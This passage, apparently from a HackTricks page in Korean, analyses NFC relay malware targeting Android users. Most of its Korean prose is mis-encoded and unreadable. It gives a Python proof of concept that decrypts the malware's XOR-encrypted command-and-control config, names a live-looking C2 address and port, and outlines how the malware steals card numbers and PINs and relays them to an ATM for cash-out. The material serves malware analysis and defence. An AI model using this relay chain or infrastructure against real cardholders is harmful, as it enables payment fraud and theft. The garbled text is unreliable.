- C2 ๊ตฌ์ฑ์ assets(์:
assets/____)์ ASCIIโhex๋ก ์ ์ฅ๋์ด ์์ผ๋ฉฐ, hex-decoded๋ ๋ค ํค๋ฅผ 32 bytes๋ง๋ค ๋ฐ๋ณตํด XOR-ed๋๋ค:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
config๋ฅผ decryptํ๊ธฐ ์ํ ์คํ๋ผ์ธ PoC
# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))
์ํ ๋ณตํธํ๋ ํ๋: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.
๋ฆด๋ ์ด ์ฒด์ธ (end-to-end)
- ํผํด์๊ฐ APK๋ฅผ ์ค์นํ๊ณ ์ฑ์ ์ด๋ฉด โ native init์ด assets์์ config๋ฅผ ๋ณตํธํํจ.
- ์ฑ์ด framed TCP๋ฅผ ์ฌ์ฉํด C2(์:
91.84.97.13:5653)์ ์ฐ๊ฒฐํจ; keepalive ์ฝ 7์ด. - ํผํด์๊ฐ ์นด๋๋ฅผ ํ๊ทธํ๋ฉด โ reader๊ฐ PAN/expiry/AIDs๋ฅผ ์ถ์ถํ๊ณ CARD_DISCOVERED๋ฅผ ์ ์กํจ.
- ํผํด์๊ฐ PIN์ ์ ๋ ฅํ๋ฉด โ keypad๊ฐ PIN_REQ๋ก ๊ฒ์ํ๊ณ exfiltrateํจ; ์๋ฒ๋ UI์ฉ์ผ๋ก๋ง VALID/INVALID๋ก ์๋ตํจ.
- ํฐ๋ฏธ๋์ ๊ณต๊ฒฉ์ ์ฅ์น๋ HCE emitter๋ฅผ ์คํํ์ฌ APDUs๋ฅผ ATM์ผ๋ก ๋ฆด๋ ์ดํ๊ณ cash-out์ ์ํํจ.
์ฐธ๊ณ ์๋ฃ
- https://blog.flipperzero.one/rfid/
- Letโs Clone a Cloner โ Part 3 (TrustedSec)
- NXP statement on MIFARE Classic Crypto1
- MIFARE security overview (Wikipedia)
- NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)
- Analysis of NGate malware campaign (CERT-PL)
- Android apksigner โ verify/print-certs
- Android Host Card Emulation (HCE) overview
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


